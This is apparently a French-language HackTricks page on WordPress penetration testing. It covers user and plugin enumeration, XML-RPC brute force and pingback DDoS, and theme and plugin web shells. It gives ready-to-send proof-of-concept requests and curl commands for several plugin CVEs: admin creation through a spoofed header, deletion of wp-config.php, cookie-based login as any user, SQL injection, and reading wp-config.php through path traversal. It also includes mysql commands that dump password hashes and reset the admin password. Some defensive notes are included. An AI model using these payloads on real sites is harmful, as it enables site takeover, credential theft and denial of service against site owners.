Wordpress

Reading time: 35 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

  • Les fichiers Uploaded vont dans : http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Les fichiers de thĂšmes se trouvent dans /wp-content/themes/, donc si vous modifiez du php du thĂšme pour obtenir une RCE vous utiliserez probablement ce chemin. Par exemple : En utilisant theme twentytwelve vous pouvez accĂ©der au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php

  • Une autre URL utile pourrait ĂȘtre : /wp-content/themes/default/404.php

  • Dans wp-config.php vous pouvez trouver le mot de passe root de la base de donnĂ©es.

  • Chemins de login par dĂ©faut Ă  vĂ©rifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Principaux fichiers WordPress

  • index.php
  • license.txt contient des informations utiles comme la version de WordPress installĂ©e.
  • wp-activate.php est utilisĂ© pour le processus d'activation par email lors de la crĂ©ation d'un nouveau site WordPress.
  • Dossiers de login (peuvent ĂȘtre renommĂ©s pour les cacher) :
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php est un fichier reprĂ©sentant une fonctionnalitĂ© de WordPress qui permet la transmission de donnĂ©es via HTTP en tant que mĂ©canisme de transport et XML comme mĂ©canisme d'encodage. Ce type de communication a Ă©tĂ© remplacĂ© par le WordPress REST API.
  • Le dossier wp-content est le rĂ©pertoire principal oĂč sont stockĂ©s les plugins et les thĂšmes.
  • wp-content/uploads/ est le rĂ©pertoire oĂč sont stockĂ©s tous les fichiers uploadĂ©s sur la plateforme.
  • wp-includes/ est le rĂ©pertoire oĂč sont stockĂ©s les fichiers core, tels que certificats, polices, fichiers JavaScript, et widgets.
  • wp-sitemap.xml Dans les versions de WordPress 5.5 et supĂ©rieures, WordPress gĂ©nĂšre un fichier sitemap XML avec tous les posts publics et les types de posts et taxonomies publiquement interrogeables.

Post exploitation

  • Le fichier wp-config.php contient les informations requises par WordPress pour se connecter Ă  la base de donnĂ©es telles que le nom de la base, l'hĂŽte de la base, le nom d'utilisateur et le mot de passe, les clĂ©s d'authentification et salts, et le prĂ©fixe des tables de la base. Ce fichier de configuration peut aussi ĂȘtre utilisĂ© pour activer le mode DEBUG, ce qui peut ĂȘtre utile pour le troubleshooting.

Permissions des utilisateurs

  • Administrator
  • Editor : Publie et gĂšre ses propres posts et ceux des autres
  • Author : Publie et gĂšre ses propres posts
  • Contributor : RĂ©dige et gĂšre ses posts mais ne peut pas les publier
  • Subscriber : Parcourt les posts et Ă©dite son profil

Passive Enumeration

Get WordPress version

Vérifiez si vous pouvez trouver les fichiers /license.txt ou /readme.html

Dans le source code de la page (exemple depuis https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Fichiers CSS (link)

  • Fichiers JavaScript

Obtenir des plugins

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Récupérer les thÚmes

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extraire les versions en général

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

ÉnumĂ©ration active

Plugins and Themes

Vous n'arriverez probablement pas à trouver tous les Plugins and Themes possibles. Pour les découvrir, vous devrez effectuer activement un Brute Force d'une liste de Plugins and Themes (espérons pour nous qu'il existe des outils automatisés contenant ces listes).

Users

  • ID Brute: Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs :
bash
curl -s -I -X GET http://blog.example.com/?author=1

Si les réponses sont 200 ou 30X, cela signifie que l'id est valide. Si la réponse est 400, alors l'id est invalide.

  • wp-json: Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant :
bash
curl http://blog.example.com/wp-json/wp/v2/users

Un autre endpoint /wp-json/ qui peut révéler certaines informations sur les utilisateurs est :

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. Seules les informations concernant les utilisateurs qui ont cette fonctionnalité activée seront fournies.

Notez aussi que /wp-json/wp/v2/pages pourrait leak des adresses IP.

  • Login username enumeration : Lors de la connexion via /wp-login.php, le message est diffĂ©rent selon qu'il indique que le username existe ou non.

XML-RPC

Si xml-rpc.php est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS vers d'autres ressources. (Vous pouvez automatiser ce processus using this par exemple).

Pour vĂ©rifier s'il est actif, essayez d'accĂ©der Ă  /xmlrpc.php et envoyez cette requĂȘte :

Vérifier

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs sont quelques-unes des mĂ©thodes pouvant ĂȘtre utilisĂ©es pour brute-force credentials. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Le message "Incorrect username or password" dans une réponse avec code 200 devrait apparaßtre si les identifiants ne sont pas valides.

Avec les bons identifiants vous pouvez téléverser un fichier. Dans la réponse le chemin apparaßtra (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Il existe aussi une mĂ©thode plus rapide pour brute-force des credentials en utilisant system.multicall, car vous pouvez essayer plusieurs credentials dans une seule requĂȘte :

Bypass 2FA

Cette mĂ©thode est destinĂ©e aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accĂšs principal est protĂ©gĂ© par la 2FA, vous pourriez ĂȘtre capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand mĂȘme obtenir une RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Si vous trouvez la mĂ©thode pingback.ping dans la liste vous pouvez faire en sorte que Wordpress envoie une requĂȘte arbitraire Ă  n'importe quel host/port.
Cela peut ĂȘtre utilisĂ© pour demander Ă  des milliers de sites Wordpress d'accĂ©der Ă  un mĂȘme emplacement (causant ainsi un DDoS Ă  cet endroit) ou vous pouvez l'utiliser pour faire Wordpress scan un rĂ©seau interne (vous pouvez indiquer n'importe quel port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.

Consultez l'utilisation de system.multicall dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accessed, une requĂȘte MySQL heavy est exĂ©cutĂ©e, il peut donc ĂȘtre utilisĂ© par des attackers pour cause un DoS.
De plus, par défaut, le wp-cron.php est appelé à chaque chargement de page (anytime a client requests any Wordpress page), ce qui, sur des sites high-traffic, peut causer des problÚmes (DoS).

Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hÎte qui exécutera les actions nécessaires à des intervalles réguliers (without causing issues).

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Wordpress peut effectuer une requĂȘte vers vous.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Cet outil vérifie si le methodName: pingback.ping et le chemin /wp-json/oembed/1.0/proxy existent, et si c'est le cas, il tente de les exploiter.

Outils automatiques

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obtenir l'accĂšs en modifiant un bit

Plus une curiosité qu'une vraie attaque. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man vous pouviez inverser 1 bit dans n'importe quel fichier wordpress. Ainsi vous pouviez inverser la position 5389 du fichier /var/www/html/wp-includes/user.php pour NOP l'opération NOT (!).

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modification d'un php du thÚme utilisé (identifiants admin nécessaires)

Apparence → Éditeur de thùme → Modùle 404 (à droite)

Remplacez le contenu par un php shell :

Cherchez sur Internet comment accéder à la page mise à jour. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Vous pouvez utiliser :

bash
use exploit/unix/webapp/wp_admin_shell_upload

pour obtenir une session.

Plugin RCE

PHP plugin

Il peut ĂȘtre possible de tĂ©lĂ©verser des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :

Puis ajoutez un nouveau plugin :

Téléversez le plugin et appuyez sur Install Now :

Cliquez sur Procced :

Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :

Accédez-y et vous verrez l'URL pour exécuter le reverse shell :

Uploading and activating malicious plugin

Cette mĂ©thode implique l'installation d'un plugin malveillant connu pour ĂȘtre vulnĂ©rable et pouvant ĂȘtre exploitĂ© pour obtenir un web shell. Ce processus est rĂ©alisĂ© via le WordPress dashboard comme suit :

  1. Acquisition du plugin: Le plugin est obtenu depuis une source comme Exploit DB, par exemple here.
  2. Installation du plugin:
  • Allez dans le WordPress dashboard, puis allez Ă  Dashboard > Plugins > Upload Plugin.
  • TĂ©lĂ©versez le fichier zip du plugin tĂ©lĂ©chargĂ©.
  1. Activation du plugin: Une fois le plugin installĂ© avec succĂšs, il doit ĂȘtre activĂ© via le dashboard.
  2. Exploitation:
  • Avec le plugin "reflex-gallery" installĂ© et activĂ©, il peut ĂȘtre exploitĂ© car il est connu pour ĂȘtre vulnĂ©rable.
  • Le framework Metasploit fournit un exploit pour cette vulnĂ©rabilitĂ©. En chargeant le module appropriĂ© et en exĂ©cutant des commandes spĂ©cifiques, une session meterpreter peut ĂȘtre Ă©tablie, accordant un accĂšs non autorisĂ© au site.
  • Il est notĂ© qu'il s'agit juste d'une des nombreuses mĂ©thodes pour exploiter un site WordPress.

Le contenu inclut des aides visuelles dĂ©crivant les Ă©tapes dans le WordPress dashboard pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnĂ©rabilitĂ©s de cette maniĂšre est illĂ©gal et contraire Ă  l'Ă©thique sans autorisation appropriĂ©e. Ces informations doivent ĂȘtre utilisĂ©es de maniĂšre responsable et uniquement dans un contexte lĂ©gal, comme des tests d'intrusion avec permission explicite.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

De XSS Ă  RCE

  • WPXStrike: WPXStrike est un script conçu pour escalader une vulnĂ©rabilitĂ© de Cross-Site Scripting (XSS) vers Remote Code Execution (RCE) ou d'autres vulnĂ©rabilitĂ©s critiques dans WordPress. Pour plus d'infos consultez this post. Il prend en charge les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :
  • Privilege Escalation: CrĂ©e un utilisateur dans WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: TĂ©lĂ©versez votre plugin personnalisĂ© (backdoor) sur WordPress.
  • (RCE) Built-In Plugin Edit: Éditer un plugin intĂ©grĂ© dans WordPress.
  • (RCE) Built-In Theme Edit: Éditer un thĂšme intĂ©grĂ© dans WordPress.
  • (Custom) Custom Exploits: Exploits personnalisĂ©s pour des plugins/thĂšmes WordPress tiers.

Post Exploitation

Extraire les noms d'utilisateur et les mots de passe :

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Changer le mot de passe admin :

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Pentest des plugins Wordpress

Surface d'attaque

Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans this blog post.

  • wp_ajax

L'un des moyens pour un plugin d'exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que tout utilisateur authentifié sur l'instance Wordpress pourrait posséder (indépendamment de son rÎle).

Voici les fonctions qui peuvent ĂȘtre utilisĂ©es pour exposer une fonction dans un plugin :

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

L'utilisation de nopriv rend l'endpoint accessible Ă  tous les utilisateurs (mĂȘme les utilisateurs non authentifiĂ©s).

caution

De plus, si la fonction vérifie seulement l'autorisation de l'utilisateur avec la fonction wp_verify_nonce, cette fonction vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rÎle de l'utilisateur. Donc des utilisateurs peu privilégiés pourraient avoir accÚs à des actions réservées aux utilisateurs à privilÚges élevés.

  • REST API

Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API en utilisant la fonction register_rest_route :

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Le permission_callback est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.

Si la fonction intégrée __return_true est utilisée, elle contournera simplement la vérification des permissions utilisateur.

  • AccĂšs direct au fichier php

Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, cela sera exploitable par n'importe quel utilisateur.

Usurpation REST via trusted-header (WooCommerce Payments ≀ 5.6.1)

Certains plugins implĂ©mentent des raccourcis “trusted header” pour des intĂ©grations internes ou des reverse proxies, puis utilisent cet en-tĂȘte pour dĂ©finir le contexte utilisateur courant pour les requĂȘtes REST. Si l'en-tĂȘte n'est pas liĂ© cryptographiquement Ă  la requĂȘte par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilĂ©giĂ©es en tant qu'administrateur.

  • Impact : Ă©lĂ©vation de privilĂšges non authentifiĂ©e jusqu'au rĂŽle admin en crĂ©ant un nouvel administrateur via la core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (force l'ID utilisateur 1, typiquement le premier compte administrateur).
  • Route exploitĂ©e : POST /wp-json/wp/v2/users avec un tableau de rĂŽle Ă©levĂ©.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Pourquoi cela fonctionne

  • Le plugin mappe un header contrĂŽlĂ© par le client Ă  l'Ă©tat d'authentification et saute les capability checks.
  • WordPress core attend la capability create_users pour cette route ; le hack du plugin la bypass en dĂ©finissant directement le contexte de l'utilisateur courant Ă  partir du header.

Expected success indicators

  • HTTP 201 avec un body JSON dĂ©crivant l'utilisateur créé.
  • Un nouvel utilisateur admin visible dans wp-admin/users.php.

Detection checklist

  • Grep pour getallheaders(), $_SERVER['HTTP_...'], ou des vendor SDKs qui lisent des headers custom pour dĂ©finir le contexte utilisateur (par ex., wp_set_current_user(), wp_set_auth_cookie()).
  • Revoir les REST registrations pour des callbacks privilĂ©giĂ©s qui n'ont pas de vĂ©rifications robustes de permission_callback et qui se fient Ă  la place aux headers de la requĂȘte.
  • Chercher les usages des fonctions core de gestion d'utilisateurs (wp_insert_user, wp_create_user) dans des handlers REST qui sont protĂ©gĂ©s uniquement par des valeurs de header.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes et plugins exposent fréquemment des AJAX handlers via les hooks wp_ajax_ et wp_ajax_nopriv_. Quand la variante nopriv est utilisée le callback devient accessible aux visiteurs non authentifiés, donc toute action sensible doit en plus implémenter :

  1. Un capability check (par ex. current_user_can() ou au minimum is_user_logged_in()), et
  2. Un CSRF nonce validé avec check_ajax_referer() / wp_verify_nonce(), et
  3. Assainissement / validation stricte des entrées.

Le thÚme multipurpose Litho (< 3.1) a oublié ces 3 contrÎles dans la fonctionnalité Remove Font Family et a fini par livrer le code suivant (simplifié) :

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

ProblĂšmes introduits par cet extrait :

  • AccĂšs non authentifiĂ© – le wp_ajax_nopriv_ hook est enregistrĂ©.
  • Pas de vĂ©rification du nonce / capability – n'importe quel visiteur peut atteindre l'endpoint.
  • Pas de sanitisation du chemin – la chaĂźne contrĂŽlĂ©e par l'utilisateur fontfamily est concatĂ©nĂ©e Ă  un chemin du systĂšme de fichiers sans filtrage, permettant le classique parcours ../../.

Exploitation

Un attaquant peut supprimer n'importe quel fichier ou rĂ©pertoire sous le rĂ©pertoire de base des uploads (normalement <wp-root>/wp-content/uploads/) en envoyant une seule requĂȘte HTTP POST :

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Parce que wp-config.php se trouve en dehors de uploads, quatre séquences ../ suffisent sur une installation par défaut. La suppression de wp-config.php force WordPress à lancer l'assistant d'installation lors de la visite suivante, permettant une prise de contrÎle complÚte du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).

D'autres cibles impactantes incluent les fichiers .php de plugins/themes (pour neutraliser des plugins de sécurité) ou les rÚgles .htaccess.

Checklist de détection

  • Tout callback add_action( 'wp_ajax_nopriv_...') qui appelle des fonctions d'accĂšs au systĂšme de fichiers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • ConcatĂ©nation d'entrĂ©es utilisateur non assainies dans des chemins (rechercher $_POST, $_GET, $_REQUEST).
  • Absence de check_ajax_referer() et de current_user_can()/is_user_logged_in().

Escalade de privilĂšges via restauration de rĂŽle obsolĂšte et absence d'autorisation (ASE "View Admin as Role")

Beaucoup de plugins implĂ©mentent une fonctionnalitĂ© "view as role" ou de changement temporaire de rĂŽle en sauvegardant le(s) rĂŽle(s) original(aux) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration s'appuie uniquement sur des paramĂštres de requĂȘte (par ex. $_REQUEST['reset-for']) et sur une liste maintenue par le plugin sans vĂ©rifier les capabilities et un nonce valide, cela devient une escalade verticale de privilĂšges.

Un exemple rĂ©el a Ă©tĂ© trouvĂ© dans le plugin Admin and Site Enhancements (ASE) (≀ 7.6.2.1). La branche de reset restaurait les rĂŽles basĂ©s sur reset-for=<username> si le nom d'utilisateur apparaissait dans un tableau interne $options['viewing_admin_as_role_are'], mais n'effectuait ni vĂ©rification current_user_can() ni vĂ©rification de nonce avant de supprimer les rĂŽles actuels et de rĂ©ajouter les rĂŽles sauvegardĂ©s dans les user meta _asenha_view_admin_as_original_roles :

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Pourquoi c'est exploitable

  • Se fie Ă  $_REQUEST['reset-for'] et Ă  une option du plugin sans autorisation cĂŽtĂ© serveur.
  • Si un utilisateur avait auparavant des privilĂšges plus Ă©levĂ©s enregistrĂ©s dans _asenha_view_admin_as_original_roles et a Ă©tĂ© rĂ©trogradĂ©, il peut les restaurer en accĂ©dant au chemin de reset.
  • Dans certains dĂ©ploiements, tout utilisateur authentifiĂ© pouvait dĂ©clencher un reset pour un autre nom d'utilisateur encore prĂ©sent dans viewing_admin_as_role_are (autorisation dĂ©faillante).

Exploitation (exemple)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Sur les builds vulnérables, cela supprime les rÎles actuels et ré-ajoute les rÎles originaux sauvegardés (par ex., administrator), escaladant ainsi les privilÚges.

Detection checklist

  • Recherchez des fonctionnalitĂ©s de changement de rĂŽle qui conservent les “original roles” dans le user meta (par ex., _asenha_view_admin_as_original_roles).
  • Identifier les chemins de reset/restore qui :
  • Lisent des noms d'utilisateur depuis $_REQUEST / $_GET / $_POST.
  • Modifient les rĂŽles via add_role() / remove_role() sans current_user_can() et wp_verify_nonce() / check_admin_referer().
  • Autorisent sur la base d'un tableau d'options de plugin (par ex., viewing_admin_as_role_are) au lieu des capacitĂ©s de l'acteur.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Certains plugins raccordent des helpers de changement d'utilisateur au hook public init et dérivent l'identité d'un cookie contrÎlé par le client. Si le code appelle wp_set_auth_cookie() sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire.

Typical vulnerable pattern (simplified from Service Finder Bookings ≀ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // đŸ”„ sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Pourquoi c'est exploitable

  • Le hook public init rend le handler accessible aux utilisateurs non authentifiĂ©s (pas de garde is_user_logged_in()).
  • L'identitĂ© est dĂ©rivĂ©e d'un cookie modifiable par le client (original_user_id).
  • Un appel direct Ă  wp_set_auth_cookie($uid) connecte le requĂ©rant en tant que cet utilisateur sans aucune vĂ©rification de capability/nonce.

Exploitation (sans authentification)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considérations WAF pour les CVE de WordPress/plugin

Les WAF génériques pour edge/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugin à fort impact sont des bugs de logique/authentification spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.

Offensive notes

  • Ciblez les endpoints spĂ©cifiques aux plugins avec des payloads propres : admin-ajax.php?action=..., wp-json/<namespace>/<route>, gestionnaires de fichiers personnalisĂ©s, shortcodes.
  • Testez d'abord les chemins non authentifiĂ©s (AJAX nopriv, REST avec permissive permission_callback, shortcodes publics). Les payloads par dĂ©faut rĂ©ussissent souvent sans obfuscation.
  • Cas typiques Ă  fort impact : privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

  • Ne comptez pas sur des signatures WAF gĂ©nĂ©riques pour protĂ©ger les CVE de plugins. Mettez en place des correctifs virtuels spĂ©cifiques Ă  la vulnĂ©rabilitĂ© au niveau applicatif ou mettez Ă  jour rapidement.
  • PrivilĂ©giez des contrĂŽles en mode sĂ©curitĂ© positive dans le code (capabilities, nonces, validation stricte des entrĂ©es) plutĂŽt que des filtres nĂ©gatifs basĂ©s sur des regex.

Protection de WordPress

Mises à jour réguliÚres

Assurez-vous que WordPress, les plugins et les thÚmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

De plus, n'installez que des plugins et thĂšmes WordPress fiables.

Plugins de sécurité

Autres recommandations

  • Supprimez l'utilisateur par dĂ©faut admin
  • Utilisez des mots de passe forts et 2FA
  • PĂ©riodiquement revoyez les autorisations des utilisateurs
  • Limitez les tentatives de connexion pour prĂ©venir les attaques Brute Force
  • Renommez le fichier wp-admin.php et n'autorisez l'accĂšs qu'en interne ou depuis certaines adresses IP.

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

Le plugin de recrutement WP Job Portal exposait une tùche savecategory qui exécute finalement le code vulnérable suivant dans modules/category/model.php::validateFormData() :

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

ProblĂšmes introduits par cet extrait :

  1. Unsanitised user input – parentid provient directement de la requĂȘte HTTP.
  2. String concatenation inside the WHERE clause – pas d'is_numeric() / esc_sql() / requĂȘte prĂ©parĂ©e.
  3. Unauthenticated reachability – bien que l'action soit exĂ©cutĂ©e via admin-post.php, la seule vĂ©rification en place est un CSRF nonce (wp_verify_nonce()), que n'importe quel visiteur peut rĂ©cupĂ©rer depuis une page publique incorporant le shortcode [wpjobportal_my_resumes].

Exploitation

  1. Récupérer un nonce récent :
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injecter du SQL arbitraire en abusant de parentid :
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

La rĂ©ponse divulgue le rĂ©sultat de la requĂȘte injectĂ©e ou modifie la base de donnĂ©es, prouvant la prĂ©sence d'une SQLi.

Téléchargement arbitraire de fichiers sans authentification / Path Traversal (WP Job Portal <= 2.3.2)

Une autre tùche, downloadcustomfile, permettait aux visiteurs de télécharger n'importe quel fichier sur le disque via path traversal. Le sink vulnérable est situé dans modules/customfield/model.php::downloadCustomUploadedFile() :

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name est contrĂŽlĂ© par l'attaquant et concatĂ©nĂ© sans assainissement. Encore une fois, la seule protection est un CSRF nonce qui peut ĂȘtre rĂ©cupĂ©rĂ© depuis la resume page.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Le serveur renvoie le contenu de wp-config.php, leaking DB credentials and auth keys.

